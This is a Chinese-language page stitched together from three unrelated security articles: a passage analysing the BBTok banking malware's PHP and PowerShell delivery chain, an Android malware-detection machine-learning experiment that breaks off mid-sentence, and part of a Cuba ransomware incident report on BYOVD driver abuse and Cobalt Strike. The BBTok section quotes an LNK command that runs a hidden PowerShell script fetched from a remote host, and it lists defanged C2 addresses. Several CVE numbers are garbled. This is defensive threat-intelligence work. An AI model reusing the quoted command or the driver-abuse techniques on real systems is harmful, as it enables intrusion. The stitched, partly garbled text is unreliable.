Desarga.php調用ps_gen.ps1來生成一個自定義文檔，該文檔最終會傳遞給受害者。

傳入請求處理

PHP代碼庫由以下文件組成：

1.descarga/descargar.php：管理新的連接並向受害者的電腦提供引誘文檔。

2.db.php：生成並管理包含受害者詳細信息的SQLite數據庫。

3.generator.php：用於生成隨機鏈接、字符串和其他功能的實用程序類。

4.“Descarga”和“descargar”在西班牙語中翻譯為“download”。此文件包含感染過程的主要邏輯。腳本本身包含許多評論，其中一些是純西班牙語和葡萄牙語，這些評論暗示了攻擊者的來源。

腳本邏輯：

1.它根據ip-api.com檢查鏈接引用的受害者的地理位置，並將其存儲在文件中。如果受害者不是來自目標國家(例如，墨西哥或巴西)，則HTTP連接立即以404消息結束。

3.png

2.如果受害者通過了檢查，則腳本解析用戶代理以獲取受害者的Windows操作系統版本。

4.png

3.然後，它將帶有受害者的國家/地區代碼和引誘文件名的用戶代理傳遞到PowerShell有效負載生成器腳本。

PowerShell負載生成器腳本ps_gen.ps1包含用於生成ZIP或ISO文件形式的文檔有效負載的主要邏輯。最新版本的代碼有很多失效的部分，這部分在過去可能是有效的，這表明它們包含額外的感染鍊和誘餌，我們發現了該文件的多個版本，其中一些可以追溯到2022年7月，這表明該活動已經進行了很長一段時間。

生成器腳本由descarga.php調用，使用帶有參數file_name、ver和cc的函數DownloadFile，這些對應於生成的文檔名稱、受害者的操作系統版本和受害者的國家代碼。

5.png

在觀察到的服務器迭代中使用的代碼部分基於兩個參數生成文檔有效負載：

受害者的國度：巴西或墨西哥；

從User-Agent中提取的操作系統：Windows 10或7；

根據結果，選擇惡意文檔的以下參數：

文件類型：Windows 10為ISO, Windows 7為ZIP；

下一階段使用的DLL文件的名稱根據目標國家的不同而變化：Trammy用於巴西，Gammy用於墨西哥。

該文檔包含一個鏈接：Windows 10中的LNK快捷圖標是Microsoft Edge使用的快捷圖標，Windows 7中的LNK快捷圖標是Google Chrome使用的快捷圖標。

最後的執行邏輯：對於Windows 10受害者，該腳本使用來自服務器216[.]250[.]251[.]196的名為dat.xml的文件執行MSBuild.exe，該文件還存儲下一階段的惡意DLL。對於Windows7，負載只是通過CMD執行下載相關的遠程DLL。

6.png

添加位置混淆

所有有效載荷都使用Add-PoshObfusion函數進行模糊處理。對部分代碼的簡單搜索會從“良性”網站hackforums[.]net中得到一個結果，特別是2021年8月一位名為“Qismon”的用戶的回复，其還推薦了一些繞過AMSI和安全產品的方法，並分享PoshObfusion代碼：

7.png

在hackforums[.]net中共享的Add-PoshObfuscation()代碼

攻擊鍊和最終有效負載上面描述的過程最終導致了兩個攻擊鏈的變體：一個針對Windows 7，一個針對Windows 10。兩個版本之間的差異可以解釋為試圖避免新實現的檢測機制，如AMSI。

*ammy.dll下載程序兩個感染鏈都使用使用類似約定命名的惡意DLL——Trammy、Gammy、Brammy或Kammy。後者是BBTok加載程序的精簡和混淆版本，在執行任何惡意操作之前使用地理圍欄來阻止檢測。最後的有效負載是一個新版本的BBTok銀行程序。如上所述，BBTok附帶了多個額外的密碼保護軟件。這些漏洞允許攻擊者完全訪問受攻擊的設備和其他功能。

Windows 7攻擊鏈8.png

Windows 7攻擊鏈

Windows 7的攻擊鏈不是唯一的，它由存儲在ZIP文件中的LNK文件組成。在執行LNK文件時，使用rundll32.exe運行* my.dll負載，rundll32.exe依次下載、提取和運行BBTok負載。

Windows 10攻擊鏈9.png

Windows 10攻擊鏈

Windows 10的攻擊鏈存儲在一個包含3個組件的ISO文件中：一個LNK文件，一個lure文件和一個重命名的cmd.exe可執行文件。點擊LNK文件啟動攻擊鏈，使用重命名的cmd.exe以以下方式運行所有命令：

10.png

攻擊鏈將lure文件複製到文件夾%userprofile%並打開它。

11.png

在BBTok攻擊中釋放的Lure文件

運行MSBuild.exe，使用存儲在遠程服務器上的XML(通過SMB獲取)構建應用程序。

MSBuild.exe創建一個隨機命名的DLL，它反過來從服務器下載* my. DLL，並以重命名的rundll32.exe(mmd.exe)運行它，如XML內容所示：

12.png

dll下載程序下載、提取並運行BBTok負載

重命名CMD、MSBuild和通過SMB獲取文件的獨特組合導致Windows 10攻擊鏈很少被檢測到。

早期版本在對BBTok活動的分析中，研究人員遇到了來自有效負載服務器的多個版本的工件。我們看到PHP代碼、PowerShell腳本和其他實用程序都發生了變化。

PHP代碼的變化查看descarga.php腳本的早期版本，我們看到了一些關鍵的差異：

最初，只有來自墨西哥的受害者會成為攻擊目標。另一個有效負載服務器176[.]31[.]159[.]196的IP在腳本中進行了硬編碼。

這裡沒有直接執行PowerShell腳本，而是調用了一個名為gen.php的腳本。雖然研究人員無法獲得這個腳本，但相信它只是執行了PowerShell腳本。

使用db.php文件將受害者的IP地址、用戶代理和標誌(jaBaixou，即葡萄牙語中的“已下載”)插入數據庫中。稍後檢查該標誌，以確保不會提供相同的有效負載。

由於最新版本中未使用此部分，攻擊者可能發現此過程繁瑣，並決定用OPSEC來換取更容易的管理和更高的攻擊成功機率。

PowerShell腳本修改說明查看PowerShell腳本的舊版本，可以清楚地看到對負載和執行鏈進行了大量更改。在最早版本的腳本中，LNK只是運行一個PowerShell腳本，其參數為-ExecutionPolicy Unrestricted-W hidden-File\\%PARAM%[.]supplier[.]serveftp[.]net\files\asd.ps1。

後來的更新添加了lure PDF，fac.PDF（“fac”是“factura”的縮寫，在葡萄牙語中是“發票”）。這是來自墨西哥科利馬縣的合法西班牙語收據。此外，Windows7受害者的有效負載啟動了一個合法的墨西哥政府網站hxxps://failover[.]www[.]gob[.]mx/matenimiento.html。

研究人員發現的最新版本打開了一個不同的合法網站hxxps://fazenda[.]gov[.]br，巴西政府網站。此版本還更改了MSBuild使用的XML文件，並將為巴西目標保留的DLL名稱從Brammy.DLL更改為Trammy.DLL。

未使用的代碼和感染媒介PowerShell腳本中的某些代碼部分未使用，服務器託管的文件不屬於我們討論的主要感染流。特別是，研究人員沒有發現任何積極使用以下內容的跡象：

ze.docx是一份利用Follina CVE（2022-30190）的文檔。 PowerShell腳本中名為CreateDoc的函數中引用了它。

CreateXLL引用的xll.xll是從開源項目中獲取的惡意xllhttps://github.com/moohax/xllpoc，通過Excel實現代碼執行。在服務器上發現了許多空的JavaScript文件，這些文件很可能被名為CreateJS的函數使用。函數b.js中引用的文件是空的，因此不清楚該函數以前是使用過還是從未完全實現過。

服務器上有多個bat文件，每個文件都有不同的下載下一階段的實現。這些很可能是由名為CreateBat的函數創建的，該函數在最新版本的PowerShell腳本中被取消掉了。它們中的大多數幾乎與我們之前分析的ByFD函數中的代碼相同，不包括過去兩次值得注意的迭代：

最舊的bat文件下載了另一個PowerShell腳本作為下一階段（該腳本不再公開），而不是編輯註冊表；

稍後的bat文件使用了fodhelper UAC繞過，而不是當前正在使用的computerdefaults繞過。

受害者分析研究人員對服務器端組件的分析也揭示了最近的一個活動，從攻擊者的角度來看，這是基於他們發現的一個數據庫，該數據庫記錄了對惡意應用程序的訪問。該數據庫名為links.sqlite，非常簡單。它包含150多個條目，所有條目都是唯一的，表頭與db.php創建的條目相對應。

chave或key；

assunto或subject；

user_agent ；

baixou或downloaded。

名為chave的列包含受害者的IP地址，而assunto列為空：

13.png

Links.sqlite數據庫

14.png

攻擊區域

由於除了攻擊者之外，任何人都不會看到服務器代碼，並且其中包含大量葡萄牙語評論，我們認為這表明攻擊者很可能是巴西人，巴西人以其活躍的銀行惡意軟件生態系統而聞名。

總結儘管BBTok目前僅在巴西墨西哥活動，但很明顯，它仍在積極開發中。由於其眾多功能，以及涉及LNK文件、SMB和MSBuild的獨特而創造性的傳播方法，它仍然對該地區的組織和個人構成威脅。

HireHackking

問題描述

Android 市場的開放性導致了惡意軟件（Malware）的盛行。據360 安全中心報告，每天都能截獲數万個Android 惡意軟件，使得Android Malware Detection 成為研究人員熱議的話題。傳統的Android 惡意軟件檢測方法主要依賴於基於規則或簽名的檢測機制，其中使用yara 實現相對簡單。但這種基於簽名的檢測方法是信息密集型的，需要持續收集新的簽名，而基於規則的實現則極為複雜，極易導致誤報或讓狡猾的惡意軟件逃過檢測。

隨著機器學習的流行，越來越多的研究人員開始嘗試利用機器學習來實現惡意軟件的檢測。核心思路是從Android 的APK 文件中提取信息，用於訓練模型，隨後預測其他APK 文件是否為惡意軟件。根據信息提取方法的不同，主要分為兩類：一類是通過靜態分析，從APK 中提取permissions、intents、receivers 等組件，以及通過反編譯提取代碼調用，利用這些信息進行模型訓練；另一類是通過實際安裝運行APK，攔截網絡請求和監聽系統API 調用來獲取數據，作為模型訓練的基礎。

在探討此問題時，由於“Incinerator”項目的動態檢測功能尚未完全實現，我們暫時缺乏研究動態分析的條件，因此選擇採用靜態分析方法進行研究。

當前主流方案

基於靜態分析的機器學習訓練方案主要包括以下幾類：

權限提取訓練：

從AndroidManifest.xml中提取permissions信息進行模型訓練。

綜合信息提取訓練：

從AndroidManifest.xml中提取permissions、intents、receivers等信息，並通過反編譯從APK 中基於規則抽取Android 系統API 調用等信息進行模型訓練。

整體APK 訓練：

將整個APK 文件作為機器學習訓練的輸入，包括將APK 文件的二進製字節流作為輸入，或通過反編譯抽取opcode作為訓練輸入。

據文獻報導，這些方案可實現90% 以上的準確率。尤其是方案3，準確率在92%-93% 之間，而方案1 和2 在多數研究中可達到95% 以上的準確率。

我們試圖重現文獻中的方案，首先著手基於permissions的方案進行驗證。

數據源：

惡意軟件集合：

a. 來自威脅情報公司abuse.ch 的Malware APK 集合2000 個（簡稱MB）

b. VirusShare 2020/2021/2022 的Malware 集合（簡稱VS2020/VS2021/VS2022）

良性軟件集合：

a. 從應用寶下載的APK 10000 個

b. 從APKPURE 下載的APK 10000 個

訓練方法

通過靜態分析從APK 的AndroidManifest.xml中抽取AOSP （Android Open Source Project） permissions，並通過One-hot Encoding 的方式輸入模型進行訓練。模型選擇採用傳統的機器學習二分類模型如隨機森林、SVM 等進行訓練。經測試，隨機森林的效果最佳，準確率可達98%。

我們選擇應用寶的APK 作為良性樣本，VS2022 作為惡意軟件樣本，進行訓練。訓練數據如下：

模型PrecisionRecallFPR隨機森林0.9830.9830.056SVM0.9810.9770.063

然後我們對其他數據集進行測試驗證：

數據集PrecisionRecallFPRAPKPure0.0NAN0.59MB1.00.95NANVS20201.00.96NANVS20211.00.94NAN

在進行APKPure 數據集的驗證時，發現模型的假陽性率異常高，超過了50%，這表明模型在不同數據集的交叉驗證上表現不佳。同時，在MB、VS2020、VS2021 數據集上得到的高準確率由於高假陽性率而變得無意義。

為了深入理解模型的預測表現，我們選擇使用LinearSVM（線性支持向量機）來解釋模型的預測結果，並嘗試探討可能出現的問題：

在訓練過程中，共有265 個權限被用於訓練模型。我們重點分析了對於Malware 預測結果影響最大的30 個權限：

01.9507425950717683android.permission.READ_SMS

11.6805547441380115android.permission.SEND_SMS

21.5291784053142392android.permission.RECEIVE_SMS

31.281383891333467android.permission.WRITE_SMS

41.1385944832617678android.permission.GET_DETAILED_TASKS

51.0870145778775504android.permission.MANAGE_USERS

60.9822953162458009android.permission.SET_TIME_ZONE

70.9815855293627985android.permission.REQUEST_DELETE_PACKAGES

80.8705538278525148android.permission.ACCOUNT_MANAGER

90.7701851337780519android.permission.ACCESS_CACHE_FILESYSTEM

100.7493889020376178android.permission.PERSISTENT_ACTIVITY

110.742267985802697android.permission.SET_PREFERRED_APPLICATIONS

120.6575763216374741android.permission.USE_SIP

130.6423455602781643android.permission.MODIFY_PHONE_STATE

140.5733719308777389android.permission.READ_CALL_LOG

150.5713221448442122android.permission.WRITE_SECURE_SETTINGS

160.5177117115666185android.permission.CLEAR_APP_CACHE

170.5013751180995185android.permission.WRITE_SYNC_SETTINGS

180.47540432455574055android.permission.INJECT_EVENTS

190.450576746748121android.permission.BIND_ACCESSIBILITY_SERVICE

200.4497437629117625android.permission.READ_SYNC_STATS

210.40721040702182304com.android.alarm.permission.SET_ALARM

220.3958974436391258android.permission.GET_PACKAGE_SIZE

230.35828369132005317android.permission.TRANSMIT_IR

240.3538089622374305android.permission.CHANGE_COMPONENT_ENABLED_STATE

250.3303834311984685android.permission.STATUS_BAR

260.3277728921018696android.permission.WRITE_USER_DICTIONARY

270.31322691738916597android.permission.SET_DEBUG_APP

280.28600828593282673android.permission.INSTALL_PACKAGES

290.27804088205285526android.permission.SHUTDOWN

導致Benign 結果最重要的30 個權限：

1-1.0280830288092226android.permission.FORCE_STOP_PACKAGES

2-1.0244749163270055android.permission.DELETE_CACHE_FILES

3-0.9235183435775582android.permission.READ_PRIVILEGED_PHONE_STATE

4-0.7975588094210508android.permission.USE_BIOMETRIC

5-0.7691538868495551android.permission.READ_CELL_BROADCASTS

6-0.7288571523071693android.permission.REQUEST_INSTALL_PACKAGES

7-0.7278186994140812android.permission.WRITE_CALL_LOG

8-0.7029898754031535android.permission.READ_SEARCH_INDEXABLES

9-0.6832562629713737android.permission.ACCESS_NOTIFICATION_POLICY

10-0.6442707037030093android.permission.BIND_NOTIFICATION_LISTENER_SERVICE

11-0.6229441323892875android.permission.CAPTURE_AUDIO_OUTPUT

12-0.5951302503005503android.permission.REORDER_TASKS

13-0.552113274404841android.permission.FACTORY_TEST

14-0.5512329811397917android.permission.CAMERA

15-0.5415431826751977android.permission.PACKAGE_USAGE_STATS

16-0.5373788445105623android.permission.READ_SYNC_SETTINGS

17-0.5300427083556158android.permission.ACCESS_WIFI_STATE

18-0.48952375397337794android.permission.READ_PHONE_NUMBERS

19-0.4822239255635727android.permission.STOP_APP_SWITCHES

20-0.4525220364959383android.permission.WRITE_MEDIA_STORAGE

21-0.4133049145725493com.android.browser.permission.WRITE_HISTORY_BOOKMARKS

22-0.3902532535519829android.permission.CAPTURE_VIDEO_OUTPUT

23-0.34681147328619505android.permission.READ_FRAME_BUFFER

24-0.34134222449779317android.permission.WRITE_GSERVICES

25-0.3335042039412585android.permission.BIND_APPWIDGET

26-0.3263774109427998android.permission.AUTHENTICATE_ACCOUNTS

27-0.3136298914538836android.permission.NFC

28-0.3000955825422318android.permission.READ_EXTERNAL_STORAGE

29-0.2846046321402758android.permission.CALL_PRIVILEGED

30-0.28338090002182315android.permission.READ_CALENDAR

在表格中，第二列顯示了通過SVM 計算得到的權重值。由於在標籤設定中，Malware 被標記為1，而Benign 被標記為0，且訓練數據的格式是0，1，1，0，0,1,1,0,這樣的布爾值，因此，當權重為正時，該權重在計算Malware 的預測結果時具有較高的重要性；權重值越大，其重要性越高。相反，當權重為負時，該權重在計算Benign 的預測結果時具有較高的重要性；權重值越小，其重要性越高。

通過分析這些權限及其功能，我們發現Malware 相關的權限通常比Benign 相關的權限具有更高的危害性。在一定程度上，這種模型的設計是合理的。例如，模型成功識別了與SMS 相關的權限主要與Malware 相關，並賦予了較高的權重，這意味著，基本上，一個APP 如果包含SMS 權限，就非常可疑。實際上，普通的APP 不應該請求此類權限，因為短信管理通常是系統APP 的職責。

然而，這裡存在一個問題：權限的存在是因為Android 系統認為某些行為可能不妥，需要用戶確認。所以，理論上，所有需要請求的權限都有可能對用戶造成損害。因此，沒有請求權限應該被視為一個加分項。但在二分類機器學習的情境下，模型會做出區分，因為Benign 類別的存在意味著一定會有一部分權限被視為支持Benign 的證據。

現在我們來分析為什麼會出現如此高的假陽性率： 我們使用LinearSVC 來解釋模型的預測結果，並對一些具有假陽性的權限信息進行分析：

0.1773649887447295android.permission.WAKE_LOCK

0.01285824377030036android.permission.INTERNET

-0.1357928094523775android.permission.ACCESS_NETWORK_STATE

0.43102404170044467com.android.alarm.permission.SET_ALARM

0.1773649887447295android.permission.WAKE_LOCK

0.14741402851800423android.permission.SYSTEM_ALERT_WINDOW

0.02740438240042149android.permission.FOREGROUND_SERVICE

0.01285824377030036android.permission.INTERNET

-0.1357928094523775android.permission.ACCESS_NETWORK_STATE

-0.15043626374678254android.permission.WRITE_EXTERNAL_STORAGE

-0.1975995718519041android.permission.CHANGE_WIFI_STATE

-0.20461138790573433android.permission.VIBRATE

-0.511067438637911android.permission.ACCESS_WIFI_STATE

0.1773649887447295android.permission.WAKE_LOCK

0.02740438240042149android.permission.FOREGROUND_SERVICE

0.01285824377030036android.permission.INTERNET

-0.1357928094523775android.permission.ACCESS_NETWORK_STATE

-0.33867385510052594android.permission.READ_EXTERNAL_STORAGE

-0.511067438637911android.permission.ACCESS_WIFI_STATE

而真陽的權限信息：

0.32757400447767016android.permission.INSTALL_PACKAGES

0.2870058866311678android.permission.READ_PHONE_STATE

0.1773649887447295android.permission.WAKE_LOCK

0.1545767541451571android.permission.FLASHLIGHT

0.14613075920332474android.permission.BLUETOOTH_ADMIN

0.140268653568319android.permission.GET_ACCOUNTS

0.08641386050999389android.permission.MOUNT_UNMOUNT_FILESYSTEMS

0.06460516872049353android.permission.ACCESS_COARSE_LOCATION

0.01285824377030036android.permission.INTERNET

-0.009804892771664459android.permission.ACCESS_FINE_LOCATION

-0.12321341834571817android.permission.READ_LOGS

-0.1357928094523775android.permission.ACCESS_NETWORK_STATE

-0.15043626374678254android.permission.WRITE_EXTERNAL_STORAGE

-0.15994619600450963android.permission.CHANGE_NETWORK_STATE

-0.16005902734200772android.permission.WRITE_SETTINGS

-0.1975995718519041android.permission.CHANGE_WIFI_STATE

-0.20461138790573433android.permission.VIBRATE

-0.23536025455979454android.permission.CALL_PHONE

-0.24802834827531783android.permission.ACCESS_LOCATION_EXTRA_COMMANDS

-0.30018060973660377android.permission.BLUETOOTH

-0.33867385510052594android.permission.READ_EXTERNAL_STORAGE

-0.511067438637911android.permission.ACCESS_WIFI_STATE

-0.5625902678304402android.permission.CAMERA

-0.7242676191415552android.permission.REQUEST_INSTALL_PACKAGES

通過分析，我們發現了一個模式：擁有較少權限的APK 往往會被誤判，而權限較多的APK 基本能得到正確的預測。深入探究後，我們理解到這種現象的出現主要是由於APKPure 樣本中大多數APK 的權限數量較少，而我們的訓練模型主要基於權限較多的應用寶APK 樣本。因此，預測誤差的產生在一定程度上是由樣本差異導致的。

為了解決這個問題，一個直接的方法是將APKPure 的數據也納入訓練過程，以增強模型的泛化能力和預測準確性。

我們採取了以下措施：從APKPure 樣本中隨機抽取一半，即5000 個APK，同時從應用寶樣本中隨機抽取一半，約5000 個APK，一同用於模型的訓練。然後，我們使用這個新訓練得到的模型來預測未參與訓練的樣本。結果顯示，新模型的預測準確率得到了顯著提高。

模型PrecisionRecallFPR隨機森林0.9940.9670.008SVM0.9940.9670.008

然後我們對其他數據集進行測試驗證：

數據集PrecisionRecallFPRAPKPure 未參與訓練的樣本0.0NAN0.018MB1.00.878NANVS20201.00.92NANVS20211.00.89NAN

假陽性率已降至可接受的水平。這個實驗揭示了一個重要的現象：在訓練集上獲得理想的結果相對容易，但在現實世界中準確預測卻可能面臨挑戰。無人能保證所收集的樣本完美地反映了現實世界的情況，而我們的目標是識別那些真正與惡意軟件（Malware）相關的特徵。因此，我們決定嘗試探索其他可能的解決方案。

1. 基於 Intents 和 Receivers 的訓練

隨後，我們擴展了特徵集，加入了從AndroidManifest.xml中提取的intents和receivers信息進行訓練，然而，這並沒有提高模型的準確率。

2. 基於系統 API 調用的訓練

我們進一步嘗試提取APK 中的所有系統API 調用，將其轉換為適合卷積神經網絡（CNN）的格式，並通過CNN 來訓練模型。在訓練集上，模型達到了令人滿意的97% 的準確率，但在數據集交叉驗證時，表現仍然不盡如人意。

在這過程中，我們遇到了幾個問題：

API 調用頻率的不明顯差異： 最初，我們通過反編譯提取了所有出現過的API 調用，卻發現這些API 的調用頻率並沒有明顯差異。例如，我們原本認為accessibilityservice 的調用明顯與惡意軟件相關，卻發現在良性軟件中也頻繁出現。後來我們了解到，這主要是因為大多數APK 都依賴於android 這個庫，而該庫中包含了大量的系統API 調用。由於Malware 和Benign APK 都依賴於大量的第三方庫，這些庫中存在大量的系統API 調用，使得我們難以從系統API 調用的統計結果中區分Malware 和Benign。即便我們使用了incinerator 的SCA 分析功能來檢測和剔除這些第三方庫，結果仍然不盡如人意。

第三方庫的干擾： 我們發現，很少有研究考慮到第三方庫的干擾，並提出剔除第三方庫的具體方案。如果不剔除這些庫，基於靜態分析的方法幾乎毫無意義，因為靜態抽取會抽取出大量未被調用的API

HireHackking

sl-tropical-beach-cuba-binary-1200-1200x600.jpg

完整分析cuba勒索軟件（上）

Veeamp過了一段時間，研究人員發現一個惡意進程在相鄰主機上啟動；研究人員稱之為“SRV_Service”：

18.png

惡意進程啟動

Veeam.exe是一個用C#編寫的定制數據轉儲程序，它利用Veeam備份和恢復服務中的安全漏洞連接到VeeamBackup SQL數據庫並獲取帳戶憑據。

19.png

Veeamp分析Veeamp利用以下Veeam漏洞：CVE-2022-26500、CVE-2022-206501、CVE--2022-26504。前兩個允許未經身份驗證的用戶遠程執行任意代碼，第三個允許域用戶執行相同的代碼。三個中的任何一個被利用後，惡意軟件會在控制面板中輸出以下內容：

使用者名稱;

加密的密碼；

解密的密碼；

Veeam憑據表中的用戶描述：組成員資格、權限等；

該惡意軟件並非cuba組織獨有，Conti和yanlowang種也會出現這些內容。

研究人員在SRV_Service上看到的活動與他們在SRV_STORAGE上使用Bughatch觀察到的類似：

20.png

SRV_Service上的Bughatch活動

與SRV_STORAGE的情況一樣，惡意軟件將三個文件放入臨時文件夾，然後以相同的順序執行這些文件，連接到相同的地址。

Avast Anti-Rootkit驅動程序在Bughatch成功建立了與C2的連接後，該組織使用了一種日益流行的技術：Bring Your Own Vulnerable Driver (BYOVD)。

21.png

利用易受攻擊的驅動程序

攻擊者在系統中安裝易受攻擊的驅動程序，然後將其用於各種目的，例如終止進程或通過權限升級到內核級別來逃避防禦。

攻擊者被易受攻擊的驅動程序所吸引，因為它們都在內核模式下運行，具有高級別的系統訪問權限。此外，擁有數字簽名的合法驅動程序不會在安全系統中引發任何危險信號，從而幫助攻擊者在更長時間內不被發現。

在攻擊過程中，惡意軟件在臨時文件夾中創建了三個文件：

aswarpot.sys：Avast的合法反rootkit驅動程序，有兩個漏洞：CVE-2022-26522和CVE-2022-206523，允許權限有限的用戶在內核級別運行代碼。

KK.exe：被稱為Burntcigar的惡意軟件。目前發現的文件是一個新的變體，它使用有漏洞的驅動程序來終止進程。

av.bat批處理腳本：一個幫助內核服務運行Avast驅動程序並執行Burntgigar的stager。

對BAT文件和样本數據的分析表明，av.BAT使用sc.exe實用程序創建一個名為“aswSP_ArPot2”的服務，在С\windows\temp\目錄中指定驅動程序的路徑，並將服務類型指定為內核服務。然後，BAT文件在同一sc.exe實用程序的幫助下啟動服務，並運行KK.exe，它連接到易受攻擊的驅動程序。

22.png

.bat文件的內容

Burntcigar在查看Burntcigar時，研究人員注意到的第一件事是PDB文件的路徑，其中包含一個名為“Musor”（俄語中“垃圾”的意思）的文件夾，這更表明cuba組織的成員可能會說俄語。

23.png

KK.exe PDB文件的路徑

找到的樣本是Burntcigar的新版本，在事件發生時安全系統無法檢測到。攻擊者顯然更新了惡意軟件，因為在之前的攻擊之後，許多供應商能夠很容易地檢測到舊版本運行的邏輯。

在下面示例的截屏中，關於要終止的進程的所有數據都是加密的，而舊版本公開顯示了攻擊者想要停止的所有進程的名稱。

24.png

Burntcigar新舊版本的比較

惡意軟件搜索與流行AV或EDR產品有關的進程名，並將其進程ID添加到堆棧中，以便稍後終止。

Burntgigar使用DeviceIoContol函數訪問易受攻擊的Avast驅動程序，將包含安全問題的代碼的位置指定為執行選項。該段代碼包含ZwTerminateProcess函數，攻擊者使用該函數終止進程。

25.png

Burntcigar的分析

之後，研究人員在Exchange服務器和SRV_STORAGE主機上發現了利用Avast anti-rootkit驅動程序的類似活動。在這兩種情況下，攻擊者都使用BAT文件安裝不安全的驅動程序，然後啟動Burntgigar。

26.png

相鄰主機上的BurntChigar活動

SRV_MAIL host (Exchange server)去年12月20日，客戶批准了研究人員將Exchange服務器添加到監控範圍的請求。主機一定是作為客戶網絡的入口點使用的，因為服務器缺少關鍵更新，而且它很容易受到初始訪問的影響。特別是，SRV_MAIL的ProxyLogon、ProxyShell和Zerologon漏洞仍未被修復。這就是為什麼研究人員認為攻擊者通過Exchange服務器滲透到客戶網絡的原因。

27.png

分析數據開始傳入

在SRV_MAIL上，SqlDbAdmin用戶顯示的活動與研究人員在以前的主機上觀察到的活動相同。

28.png

SqlDbAdmin的惡意活動

研究人員發現攻擊者使用合法的gotoassistui.exe工具在受感染的主機之間傳輸惡意文件。

GoToAssist是技術支持團隊經常使用的RDP支持實用程序，但在系統之間移動文件時，該應用程序經常被濫用以繞過任何安全防禦或響應團隊。

29.png

通過gotoassistui.exe發送惡意文件

研究人員還發現新的Bughatch樣本正在執行中。這些使用了略有不同的文件名、回調函數和C2服務器，因為研究人員的系統當時成功地阻止了舊版本的惡意軟件。

30.png

Bughatch活動

SqlDbAdminSqlDbAdmin是一個可疑的DLL addp.DLL，研究人員在一個受攻擊的主機上手動找到了它。

31.png

可疑動態庫

研究人員發現它使用WIN API函數NetUserAdd來創建用戶。名稱和密碼在DLL中進行了硬編碼。

32.png

addp.dll分析

當研究人員進一步研究該庫時，研究人員發現它使用RegCreateKey函數通過修改註冊表設置為新創建的用戶啟用RDP會話。然後，庫將用戶添加到Special Account註冊表樹中，以將其隱藏在系統登錄屏幕之外，這是一種有趣且少見的持久化技術。在大多數情況下，攻擊者在腳本的幫助下添加新用戶，而安全產品很少會遺漏這些腳本。

33.png

addp.dll分析

Cobalt Strike研究人員發現Exchange服務器上運行了一個可疑的DLL ion.DLL，該DLL是rundll32進程的一部分，具有異常的執行選項。起初，研究人員認為這種活動與之前在Bughatch中看到的類似。然而，進一步的分析表明，該庫實際上是一個Cobalt Strike。

34.png

執行可疑的ion.dll文件

當研究人員查看ion.dll代碼時，引起研究人員注意的是執行設置和使用Cobalt Strike配置的函數。該庫使用VirtualAlloc函數來分配進程內存，以便稍後執行Cobalt Strike Beacon負載。

35.png

對ion.dll的分析

所有的配置數據都是加密的，但研究人員確實找到了用於解密的函數。為了找到Cobalt Strike C2服務器，研究人員檢查了加載了ion.dll的rundll32內存轉儲，並使用與受害者主機相同的設置運行。

36.png

rundll32內存轉儲

找出C2的名稱有助於研究人員在監測數據中定位與該服務器的通信歷史。惡意軟件連接到C2後，它將兩個可疑文件下載到受感染服務器上的Windows文件夾中，然後執行這些文件。不幸的是，研究人員無法獲得這兩個文件進行分析，因為攻擊者未能在上一步禁用安全功能，這些文件被從受感染的主機上刪除。不過，研究人員確實相信，他們正在處理的是勒索軟件本身。

37.png

與攻擊者的C2服務器通信

客戶立即隔離了受影響的主機，並將事件轉發給卡巴斯基事件響應團隊，以便進一步調查和搜索可能的工件。這是研究人員最後一次在客戶系統中看到攻擊者的活動。由於客戶遵循了研究人員的建議和指示，並及時對事件做出了響應，主機避免了加密。

新惡意軟件研究人員發現VirusTotal包含cuba惡意軟件的新樣本，其文件元數據與上述事件中的文件元數據相同。其中一些樣本成功地躲過了所有網絡安全供應商的檢測。研究人員對每個樣本進行了分析。正如你從下面的屏幕截圖中看到的，這些是Burntcigar的新版本，使用加密數據進行反惡意軟件規避。研究人員已經制定了檢測這些新樣本的Yara規則。

38.png

新的惡意軟件樣本

BYOVD (Bring Your Own Vulnerable Driver)BYOVD，全稱為Bring your own vulnerable driver，即攻擊者向目標環境植入一個帶有漏洞的合法驅動程序，再通過漏洞利用獲得內核權限以殺死/致盲終端安全軟件等，這項技術最初主要被如Turla和方程式這樣的頂級APT組織所使用，而隨著攻擊成本的降低，其它攻擊組織也逐漸開始使用這項技術，以BYOVD為標籤進行檢索可以發現在更早些時候就已經有不同的攻擊組織在真實攻擊活動中使用此項技術

研究人員在調查該事件時觀察到了這種攻擊，隨著各種APT和勒索軟件組織將其添加到他們的武器庫中，這種攻擊目前越來越受歡迎。

Bring Your Own Vulnerable Driver (BYOVD)是一種攻擊類型，攻擊者使用已知包含安全漏洞的合法簽名驅動程序在系統內執行惡意操作。如果成功，攻擊者將能夠利用驅動程序代碼中的漏洞在內核級別運行任何惡意操作。

要理解為什麼這是最危險的攻擊類型之一，需要快速復習一下驅動程序是什麼。驅動程序是一種軟件，它充當操作系統和設備之間的中介。驅動程序將操作系統指令轉換為設備可以解釋和執行的命令。驅動程序的進一步用途是支持操作系統最初缺乏的應用程序或功能。從下圖中可以看到，驅動程序是介於用戶模式和內核模式之間的一層。

39.png

用戶模式和內核模式交互圖

在用戶模式下運行的應用程序控制系統的權限較少。他們所能訪問的只是一個與系統其他部分隔離和保護的虛擬內存區域。驅動程序在內核內存中運行，它可以像內核本身一樣執行任何操作。驅動程序可以訪問關鍵的安全結構並對其進行修改。這樣的修改使系統容易受到使用權限提升、禁用操作系統安全服務以及任意讀寫的攻擊。

2021年，Lazarus組織利用這一技術，通過濫用包含CVE-2021-21551漏洞的戴爾驅動程序，獲得了對內核內存的寫訪問權限，並禁用了Windows安全功能。

2021年，Dell 被爆出一個潛藏12年的驅動漏洞，CVE編號CVE-2021-21551，漏洞可能引發系統權限提升，預計超過數億Dell 台式機和筆記本電腦受到該漏洞的的影響。

CVE-2021-21551漏洞實際上是5個漏洞的集合，是Dell計算機在BIOS 更新過程中安裝和加載的驅動DBUtil 中的安全漏洞。

沒有針對合法驅動程序的萬無一失的防禦，因為任何驅動程序都可能被證明存在安全漏洞。微軟發布了一份針對此類技術的保護建議列表：

啟用管理程序保護的代碼完整性。

啟用內存完整性。

啟用驅動程序數字簽名驗證。

使用易受攻擊的驅動程序列表。

然而，研究表明，即使啟用了所有Windows保護功能，這些建議也無關緊要，而且這樣的攻擊無論如何都會發生。

為了對抗這種技術，許多安全供應商開始在他們的產品中添加一個自衛模塊，以防止惡意軟件終止進程，並阻止每一次利用易受攻擊的驅動程序的嘗試。研究人員的產品也具有這一功能，在事件中證明是有效的。

